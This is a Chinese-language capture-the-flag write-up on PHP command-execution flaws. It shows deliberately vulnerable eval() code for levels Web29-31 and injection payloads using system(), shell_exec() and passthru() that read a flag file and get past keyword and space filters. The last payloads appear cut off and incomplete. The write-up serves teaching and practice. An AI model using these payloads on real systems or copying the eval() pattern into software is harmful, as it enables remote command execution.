命令执行漏洞实战
原理简述
应用程序将用户可控的输入数据未经充分安全处理,直接传递给系统命令解释器(如 /bin/bash、cmd.exe)执行。PHP 中常见的危险函数包括 eval()、assert()、preg_replace() 以及 system()、exec()、shell_exec() 等。
利用方式涵盖基础注入、编码绕过、特殊字符绕过、文件包含配合、无参数 RCE、协议利用及权限提升等。
基础注入 (Web29-31)
Web29
代码逻辑使用 eval() 执行 GET 参数 c,过滤了 flag 关键字。思路是从代码执行转向命令执行。
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i",$c)){
eval($c);
}
}
Payload:
?c=system('tac fla*');
?c=system("tac fla?.php");
Web30
过滤了 flag、system、php。需更换命令执行函数。
Payload:
?c=echo shell_exec('tac fla*');
Web31
过滤字符较多:flag system php cat sort shell . ' 空格。 可用 passthru替代system。针对空格过滤,可使用 Shell 内部变量 $IFS、制表符 %09或换行符%0a`。
Payload:
?c=passthru()
?=passthru()

